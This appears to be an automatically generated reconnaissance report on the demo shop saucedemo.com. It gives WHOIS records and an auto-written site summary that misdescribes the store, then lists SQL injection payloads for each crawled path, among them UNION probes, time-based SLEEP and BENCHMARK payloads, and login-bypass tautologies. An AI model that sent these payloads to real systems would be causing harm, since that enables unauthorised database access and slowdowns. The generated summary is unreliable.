

## Cheatsheet for <https://www.saucedemo.com/>

### **\*\*OSINT Information\*\***

Domain Name: SAUCEDEMO.COM

Registry Domain ID: 2289276675\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.google.com

Registrar URL: <http://domains.google.com>

Updated Date: 2021-07-24T02:58:44Z

Creation Date: 2018-07-24T00:38:37Z

Registry Expiry Date: 2022-07-24T00:38:37Z

Registrar: Google LLC

Registrar IANA ID: 895

Registrar Abuse Contact Email: [registrar-abuse@google.com](mailto:registrar-abuse@google.com)

Registrar Abuse Contact Phone: +1.8772376466

Domain Status: ok <https://icann.org/epp#ok>

Name Server: NS1.P17.DYNECT.NET

Name Server: NS2.P17.DYNECT.NET

Name Server: NS3.P17.DYNECT.NET

Name Server: NS4.P17.DYNECT.NET

Name Server: PDNS101.ULTRADNS.BIZ

Name Server: PDNS101.ULTRADNS.COM

Name Server: PDNS101.ULTRADNS.NET

Name Server: PDNS101.ULTRADNS.ORG

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form:

<https://www.icann.org/wicf/>

>>> Last update of whois database: 2021-09-06T10:46:08Z <<<

For more information on Whois status codes, please visit  
<https://icann.org/epp>

NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly

prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure

operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

Domain Name: saucedemo.com

Registry Domain ID: 2289276675\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: whois.google.com

Registrar URL: <https://domains.google.com>

Updated Date: 2021-07-24T02:58:44Z

Creation Date: 2018-07-24T00:38:37Z

Registrar Registration Expiration Date: 2022-07-24T00:38:37Z

Registrar: Google LLC

Registrar IANA ID: 895

Registrar Abuse Contact Email: [registrar-abuse@google.com](mailto:registrar-abuse@google.com)

Registrar Abuse Contact Phone: +1.8772376466

Domain Status: ok <https://www.icann.org/epp#ok>

Registry Registrant ID:

Registrant Name: Contact Privacy Inc. Customer 1242987979

Registrant Organization: Contact Privacy Inc. Customer 1242987979

Registrant Street: 96 Mowat Ave

Registrant City: Toronto

Registrant State/Province: ON

Registrant Postal Code: M4K 3K1

Registrant Country: CA

Registrant Phone: +1.4165385487

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: u8vxraplqtrw@contactprivacy.email

Registry Admin ID:

Admin Name: Contact Privacy Inc. Customer 1242987979

Admin Organization: Contact Privacy Inc. Customer 1242987979

Admin Street: 96 Mowat Ave

Admin City: Toronto

Admin State/Province: ON

Admin Postal Code: M4K 3K1

Admin Country: CA

Admin Phone: +1.4165385487

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email: u8vxraplqtrw@contactprivacy.email

Registry Tech ID:

Tech Name: Contact Privacy Inc. Customer 1242987979

Tech Organization: Contact Privacy Inc. Customer 1242987979

Tech Street: 96 Mowat Ave

Tech City: Toronto

Tech State/Province: ON

Tech Postal Code: M4K 3K1

Tech Country: CA

Tech Phone: +1.4165385487

Tech Phone Ext:

Tech Fax:

Tech Fax Ext:

Tech Email: u8vxraplqtrw@contactprivacy.email

Name Server: NS1.P17.DYNECT.NET

Name Server: NS2.P17.DYNECT.NET

Name Server: NS3.P17.DYNECT.NET

Name Server: NS4.P17.DYNECT.NET

Name Server: PDNS101.ULTRADNS.BIZ

Name Server: PDNS101.ULTRADNS.COM

Name Server: PDNS101.ULTRADNS.NET

Name Server: PDNS101.ULTRADNS.ORG

DNSSEC: unsigned

URL of the ICANN WHOIS Data Problem Reporting System:

<http://wdprs.internic.net/>

>>> Last update of WHOIS database: 2021-09-06T10:45:18.198194Z <<<

For more information on Whois status codes, please visit

<https://www.icann.org/resources/pages/epp-status-codes-2014-06-16-en>

Please register your domains at: <https://domains.google.com/>

This data is provided by Google for information purposes, and to assist persons obtaining information about or related to domain name registration records. Google does not guarantee its accuracy.

By submitting a WHOIS query, you agree that you will use this data only for lawful purposes and that, under no circumstances, will you use this data to:

- 1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via E-mail (spam); or
- 2) enable high volume, automated, electronic processes that apply to this WHOIS server.

These terms may be changed without prior notice.

By submitting this query, you agree to abide by this policy.

<b>**AI Powered Summary**</b>	
'Swag Labs is a web app that helps you manage your lab.\n'	
<b>**Found Social Media Links**</b>	
No Social Media info available	
<b>**Found Emails**</b>	
No Email Addresses available	
<b>**Suspected file types**</b>	
'.html'	
<b>**Found Paths**</b>	
Method: GET, Total #: 8	
1	<a href="https://www.saucedemo.com/index">https://www.saucedemo.com/index</a> -> 200 -> SQLi Suggestions:
✓	x UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11

✓	x	OR 1=0#
✓	x	WHERE 1=1 AND 1=1#
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(12 0)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
✓	x	UNION ALL SELECT 1--
2		https://www.saucedemo.com/index.html -> 200 -> SQLi Suggestions:
✓	x	;
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
3		https://www.saucedemo.com/404 -> 200 -> SQLi Suggestions:
✓	x	UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
✓	x	) or pg_sleep(5)--
✓	x	' OR 1 -- -
✓	x	UNION ALL SELECT 'INJ'    'ECT'    'XXX'
✓	x	AND 2947=LIKE('ABCDEFGH',UPPER(HEX(RANDOMBLOB(500000000/2))))
4		https://www.saucedemo.com/404.html -> 200 -> SQLi Suggestions:
✓	x	waitfor delay '00:00:05'--
✓	x	UNION ALL SELECT 'INJ'    'ECT'    'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
✓	x	1' ORDER BY 1,2,3--+
✓	x	admin") or ("1"="1"#
✓	x	AnD SLEEP(5)--
5		https://www.saucedemo.com/400.html -> 200 -> SQLi Suggestions:

✓	x	AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
✓	x	sleep(5)#
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2#
✓	x	OR 1=1#
✓	x	ORDER BY 2--
<b>6</b> https://www.saucedemo.com/v1/ -> 200 -> SQLi Suggestions:		
✓	x	UNION ALL SELECT
		'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
✓	x	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17#
✓	x	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
✓	x	ORDER BY 1,SLEEP(5),3#
✓	x	AND 7300=7300 AND 'pKIZ'='pKIZ
<b>7</b> https://www.saucedemo.com/v1 -> 200 -> SQLi Suggestions:		
✓	x	AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)))--
✓	x	UNION SELECT
		@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
✓	x	ORDER BY 1--
✓	x	ORDER BY
		1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
<b>8</b> https://www.saucedemo.com/503.html -> 200 -> SQLi Suggestions:		
✓	x	ORDER BY 8
✓	x	UNION ALL SELECT 'INJ'  'ECT'  'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
✓	x	UNION SELECT @@VERSION,SLEEP(5),3
✓	x	ORDER BY 5#
✓	x	ORDER BY 15--